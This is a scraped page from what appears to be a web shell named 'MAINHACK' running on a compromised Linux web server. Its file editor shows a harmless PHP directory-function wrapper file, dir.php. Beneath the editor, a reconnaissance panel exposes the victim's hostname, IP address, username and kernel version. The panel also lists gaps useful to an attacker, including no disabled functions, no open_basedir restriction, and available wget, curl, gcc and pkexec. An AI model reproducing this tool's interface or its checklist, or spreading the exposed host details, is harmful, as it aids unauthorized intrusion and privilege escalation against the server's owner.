[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: dir.php
<?php namespace Safe; use Safe\Exceptions\DirException; /** * Changes PHP's current directory to * directory. * * @param string $directory The new current directory * @throws DirException * */ function chdir(string $directory): void { error_clear_last(); $result = \chdir($directory); if ($result === false) { throw DirException::createFromPhpError(); } } /** * Changes the root directory of the current process to * directory, and changes the current * working directory to "/". * * This function is only available to GNU and BSD systems, and * only when using the CLI, CGI or Embed SAPI. Also, this function * requires root privileges. * * @param string $directory The path to change the root directory to. * @throws DirException * */ function chroot(string $directory): void { error_clear_last(); $result = \chroot($directory); if ($result === false) { throw DirException::createFromPhpError(); } } /** * Gets the current working directory. * * @return string Returns the current working directory on success. * * On some Unix variants, getcwd will return * FALSE if any one of the parent directories does not have the * readable or search mode set, even if the current directory * does. See chmod for more information on * modes and permissions. * @throws DirException * */ function getcwd(): string { error_clear_last(); $result = \getcwd(); if ($result === false) { throw DirException::createFromPhpError(); } return $result; } /** * Opens up a directory handle to be used in subsequent * closedir, readdir, and * rewinddir calls. * * @param string $path The directory path that is to be opened * @param resource $context For a description of the context parameter, * refer to the streams section of * the manual. * @return resource Returns a directory handle resource on success * @throws DirException * */ function opendir(string $path, $context = null) { error_clear_last(); if ($context !== null) { $result = \opendir($path, $context); } else { $result = \opendir($path); } if ($result === false) { throw DirException::createFromPhpError(); } return $result; } /** * Resets the directory stream indicated by * dir_handle to the beginning of the * directory. * * @param resource $dir_handle The directory handle resource previously opened * with opendir. If the directory handle is * not specified, the last link opened by opendir * is assumed. * @throws DirException * */ function rewinddir($dir_handle = null): void { error_clear_last(); if ($dir_handle !== null) { $result = \rewinddir($dir_handle); } else { $result = \rewinddir(); } if ($result === false) { throw DirException::createFromPhpError(); } } /** * Returns an array of files and directories from the * directory. * * @param string $directory The directory that will be scanned. * @param int $sorting_order By default, the sorted order is alphabetical in ascending order. If * the optional sorting_order is set to * SCANDIR_SORT_DESCENDING, then the sort order is * alphabetical in descending order. If it is set to * SCANDIR_SORT_NONE then the result is unsorted. * @param resource $context For a description of the context parameter, * refer to the streams section of * the manual. * @return array Returns an array of filenames on success. If directory is not a directory, then * boolean FALSE is returned, and an error of level * E_WARNING is generated. * @throws DirException * */ function scandir(string $directory, int $sorting_order = SCANDIR_SORT_ASCENDING, $context = null): array { error_clear_last(); if ($context !== null) { $result = \scandir($directory, $sorting_order, $context); } else { $result = \scandir($directory, $sorting_order); } if ($result === false) { throw DirException::createFromPhpError(); } return $result; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002